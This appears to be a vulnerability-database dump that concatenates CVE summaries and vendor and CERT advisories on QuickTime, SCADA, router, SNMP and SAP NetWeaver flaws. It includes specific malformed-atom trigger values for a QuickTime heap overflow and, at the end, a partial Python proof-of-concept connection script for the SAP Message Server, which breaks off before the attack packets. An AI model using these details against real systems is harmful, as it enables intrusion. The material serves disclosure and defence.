AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0611 Multiple heap-based buffer overflows in QuickTime.qts in Apple QuickTime Player 7.0.3 and iTunes 6.0.1 (3) and earlier allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a .mov file with (1) a Movie Resource atom with a large size value, or (2) an stsd atom with a modified Sample Description Table size value, and possibly other vectors involving media files. NOTE: item 1 was originally identified by CVE-2005-4127 for a pre-patch announcement, and item 2 was originally identified by CVE-2005-4128 for a pre-patch announcement. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. These issues arise when the application handles specially crafted QTIF, TGA, TIFF, and GIF image formats. Successful exploits of these issues may allow remote attackers to trigger a denial-of-service condition or to gain unauthorized access. This issue affects both Mac OS X and Microsoft Windows releases of the software. This issue may be triggered when the application processes a malformed movie (.MOV) file. Successful exploitation will result in execution of arbitrary code in the context of the currently logged in user. This issue affects Apple QuickTime 7.0.3 and iTunes 6.0.1. Earlier versions may also be affected. Multiple buffer overflow vulnerabilities exist in QuickTime.qts. This specific flaw exists within the QuickTime.qts file which many applications access QuickTime's functionality through. By specially crafting atoms within a movie file, a direct heap overwrite is triggered, and reliable code execution is then possible. Technical Details: Technical Description: The code in QuickTime.qts responsible for the size of the Sample Description Table entries from the 'stsd' atom in a QuickTime-format movie on the heap. According to developer.apple.com, the format of the Sample Description Atom is as follows: Field Description ---------------------------------------------------------------- Size 32-bit int Data Format 4 char code Reserved 6 bytes that must be 0 Data Reference Index 16-bit int Hint Track Version 16-bit unsigned int Last compatible hint track version 16-bit unsigned int Max Packet Size 32-bit int Additional Data Table Variable By setting the size of the Sample Description Table to a size of 00 15 - 00 D0 will cause a heap-based overflow. By supplying the "Last compatible hint track version" field with the value of 00 05 - 00 09, an insufficiently-sized heap block will be allocated, resulting in a classic complete heap memory overwrite during the RtlAllocateHeap() function and the attacker can control memory with data taken from the filename of the .MOV file. This vulnerability can be successfully exploited via an embedded media player in an HTML page, email, or HTML link. References QuickTime: QuickTime File Format http://developer.apple.com/documentation/QuickTime/QTFF/index.html Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Vendor Status: Apple has released a patch for this vulnerability. The patch is available via the Updates section of the affected applications. This vulnerability has been assigned the CVE identifier CVE-2005-4092. Credit: Discovery: Karl Lynn Greetings: 0x41414141 Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0294 Buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via crafted TGA image files. Apple's QuickTime is a player for files and streaming media in a variety of different formats. For more information, see the information provided by the vendor. QuickTime is prone to a remote buffer-overflow vulnerability. This issue presents itself when the application processes a specially crafted TGA image file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-04 Apple QuickTime Player Improper Memory Access Vulnerability Advisory Date : January 12, 2006 Reported Date : November 28, 2005 Vendor : Apple computers Affected Products : Apple QuickTime Player v7.0.3 Severity : High Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707 http://docs.info.apple.com/article.html?artnum=303101 http://www.securityfocus.com/bid/16202/info Description : Fortinet Security Research Team (FSRT) has discovered a Improper Memory Access Vulnerability in the Apple QuickTime Player. Impact : Execute arbitrary code Solution : Apple Computers has released a security update for this vulnerability, which is available for downloading from Apples's web site under security update. Fortinet Protection: Fortinet is protecting network from this vulnerability with latest IPS update. Acknowledgment : Dejun Meng of Fortinet Security Research team found this vulnerability. Disclaimer : Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy or completeness of the information. Please note that Fortinet's product information does not constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-201112-0097 Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and possibly other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080. CoDeSys is a powerful PLC software programming tool that supports IEC61131-3 standard IL, ST, FBD, LD, CFC, SFC six PLC programming languages. The GatewayService has an integer overflow. The GatewayService uses the 32-bit value offset at the header 0x0c to specify the size of the received data. The program receives this value, increasing the number of 0x34 and allocating the amount of memory can cause an integer overflow. CmpWebServer is a component of the 3SRTESrv3 and CoDeSysControlService services for handling 8080 port connections. The function 0040f480 copies the input URI to a limited stack buffer, which can trigger a buffer overflow. 3S CoDeSys handles the Content-Length value in an HTTP POST request to trigger a null pointer reference. CoDeSys is prone to a stack-based buffer-overflow and an integer-overflow vulnerability. Failed attacks may cause a denial-of-service condition
var-201805-1143 In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several stack-based buffer overflow vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within notify2.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A stack buffer overflow vulnerability exists in several Advantech products
var-201805-1144 In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several SQL injection vulnerabilities have been identified, which may allow an attacker to disclose sensitive information from the host. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within Quality.asp. When parsing the ItemGroupIdAry parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose sensitive information under the context of the database. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). SQL injection vulnerabilities exist in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions
var-201806-1058 Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP). This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Crestron's Android-based products. Authentication is not required to exploit this vulnerability.The specific flaw exists within the RESTARTSERVICE command of the CTP console. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker could leverage this vulnerability to execute code with root privileges. CrestronTSW-1060 and other are touch screen devices of Crestron Electronics of the United States. There are security vulnerabilities in several Crestron products. Multiple OS command-injection vulnerabilities. 2. An access-bypass vulnerability. 3. A security-bypass vulnerability. Attackers can exploit these issues to execute arbitrary OS commands and bypass certain security restrictions, perform unauthorized actions, or gain sensitive information within the context of the affected system. Failed exploit attempts will likely result in denial of service conditions
var-201902-0647 LCDS Laquis SCADA prior to version 4.1.0.4150 allows execution of script code by opening a specially crafted report format file. This may allow remote code execution, data exfiltration, or cause a system crash. Script embedded in a crafted file can create files in arbitrary locations using the AddComboFile method. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of LAquis SCADA Software. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the MemoryWriteWord method. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the aq process. LAquis SCADA is a suite of SCADA software for monitoring and data acquisition. LCDS LAquis SCADA is prone to multiple security vulnerabilities. Failed attempts will likely cause a denial-of-service condition. LCDS LAquis SCADA version 4.1.0.3870 is vulnerable; other versions may also be affected
var-200202-0006 Vulnerabilities in a large number of SNMP implementations allow remote attackers to cause a denial of service or gain privileges via SNMPv1 trap handling, as demonstrated by the PROTOS c06-SNMPv1 test suite. NOTE: It is highly likely that this candidate will be SPLIT into multiple candidates, one or more for each vendor. This and other SNMP-related candidates will be updated when more accurate information is available. Multiple vendor SNMPv1 Trap handling implementations contain vulnerabilities that may allow unauthorized privileged access, denial-of-service conditions, or unstable behavior . If your site uses SNMP in any capacity, the CERT/CC encourages you to read the information provided below. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ SNMP Protocol is status and performance information MIB (Management Information Base) Protocol used to exchange Management side SNMP Managers such as managed routers, switches and printers SNMP Communicates with management network devices called agents. Because of its wide acceptance in the market, SNMP Has become the standard for SNMP protocol version1 Is SNMPv1 Is the most widely implemented. this SNMPv1 Sent from the agent to the manager in the implementation of SNMP Trap message and sent from the manager to the agent SNMP Decrypt the request message / There are problems in interpreting. If this problem is used by an attacker, the following actions may be executed. Many other programs that you implement may also be affected because of a protocol problem. On the target host SNMP If the service is running, an attacker could execute arbitrary code ・ If a buffer overflow attack is feasible and a very long trap message SNMP If the host on which the service is running receives, the application may go into a denial of service state The effects described above vary from application to application. For details, refer to each product.Please refer to the “Overview” for the impact of this vulnerability. Windows 95 is prone to a denial-of-service vulnerability. MPE/iX is an Internet-ready operating system for the HP e3000 class servers. It is possible to crash the service by transmitting to it a maliciously constructed SNMPv1 request PDU. It was previously known as UCD-SNMP. They typically notify the manager that some event has occured or otherwise provide information about the status of the agent. Multiple vulnerabilities have been discovered in a number of SNMP implementations. The vulnerabilities are known to exist in the process of decoding and interpreting SNMP trap messages. Among the possible consequences are denial of service and allowing attackers to compromise target systems. These depend on the individual vulnerabilities in each affected product. HP has confirmed that large traps will cause OpenView Network Node Manager to crash. This may be due to an exploitable buffer overflow condition
var-200107-0035 slapd in OpenLDAP 1.x before 1.2.12, and 2.x before 2.0.8, allows remote attackers to cause a denial of service (crash) via an invalid Basic Encoding Rules (BER) length field. Multiple versions of OpenLDAP contain vulnerabilities that may allow denial-of-service attacks. These vulnerabilities were revealed using the PROTOS LDAPv3 test suite and are documented in CERT Advisory CA-2001-18. If your site uses this product, the CERT/CC encourages you to follow the advice provided below. Vulnerabilities exist in slapd in OpenLDAP 1.x versions prior to 1.2.12 and 2.x versions prior to 2.0.8
var-200607-0396 Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe). Used in the following products eIQnetworks Enterprise Security Analyzer (ESA) Is Syslog daemon (syslogserver.exe) A stack-based buffer overflow vulnerability exists due to a flaw in handling. During the processing of long arguments to the LICMGR_ADDLICENSE command a classic stack based buffer overflow occurs. Authentication is not required to exploit this vulnerability.The specific flaw exists within the Syslog daemon, syslogserver.exe, during the processing of long strings transmitted to the listening TCP port. The vulnerability is not exposed over UDP. The default configuration does not expose the open TCP port. eIQnetworks Enterprise Security Analyzer (ESA) is an enterprise-level security management platform. The following commands are known to be affected by this vulnerability:  DELTAINTERVAL  LOGFOLDER  DELETELOGS  FWASERVER  SYSLOGPUBLICIP  GETFWAIMPORTLOG  GETFWADELTA  DELETERDEPDEVICE  COMPRESSRAWLOGFILE  GETSYSLOGFIREWALLS  ADDPOLICY  EDITPOLICY. OEM vendors' versions prior to 4.6 are also vulnerable. -- About the TippingPoint Security Research Team (TSRT): The TippingPoint Security Research Team (TSRT) consists of industry recognized security researchers that apply their cutting-edge engineering, reverse engineering and analysis talents in our daily operations. More information about the team is available at: http://www.tippingpoint.com/security The by-product of these efforts fuels the creation of vulnerability filters that are automatically delivered to our customers' intrusion prevention systems through the Digital Vaccine(R) service. ZDI-06-023: eIQnetworks Enterprise Security Analyzer Syslog Server Buffer Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-06-023.html July 25, 2006 -- CVE ID: CVE-2006-3838 -- Affected Vendor: eIQnetworks -- Affected Products: eIQnetworks Enterprise Security Analyzer Astaro Report Manager (OEM) Fortinet FortiReporter (OEM) iPolicy Security Reporter (OEM) SanMina Viking Multi-Log Manager (OEM) Secure Computing G2 Security Reporter (OEM) Top Layer Network Security Analyzer (OEM) -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since by Digital Vaccine protection filter ID N/A. Authentication is not required to exploit this vulnerability. -- Vendor Response: eIQnetworks has issued an update to correct this vulnerability. More details can be found at: http://www.eiqnetworks.com/products/enterprisesecurity/EnterpriseSecurityAnalyzer/ESA_2.5.0_Release_Notes.pdf -- Disclosure Timeline: 2006.05.10 - Vulnerability reported to vendor - Digital Vaccine released to TippingPoint customers 2006.07.25 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by Titon, JxT, KF and the rest of Bastard Labs. -- About the Zero Day Initiative (ZDI): Established by TippingPoint, a division of 3Com, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 3Com does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, 3Com provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, 3Com provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
var-201601-0038 Multiple stack-based buffer overflows in Advantech WebAccess before 8.1 allow remote attackers to execute arbitrary code via unspecified vectors. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27B0 IOCTL in the ViewSrv subsystem. A stack-based buffer overflow vulnerability exists in a call to BwBuildPath. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems
var-201801-0394 TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-interface variable in the cmxddns.lua file. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices
var-201805-1147 WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length heap buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash. Delta Electronics WPLSoft Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of dvp files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Delta Industrial Automation is the industry automation vendor for power management and cooling solutions worldwide. The length of the data provided by the user is not verified. WPLSoft (Delta PLC programming software) is a PLC program programming software used by Delta Electronics in the WINDOWS operating system environment. Delta Electronics WPLSoft has a heap buffer overflow vulnerability. Execute or cause the application to crash. A stack-based buffer-overflow vulnerability 2. A heap-based buffer-overflow vulnerability 3. Delta Industrial WPLSoft Version 2.45.0 and prior versions are vulnerable
var-201904-0181 Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple stack-based buffer overflow vulnerabilities, caused by a lack of proper validation of the length of user-supplied data, may allow remote code execution. Advantech WebAccess/SCADA Contains a buffer error vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwthinfl.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in execution to other associated memory locations. erroneous read and write operations
var-202001-0833 A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the 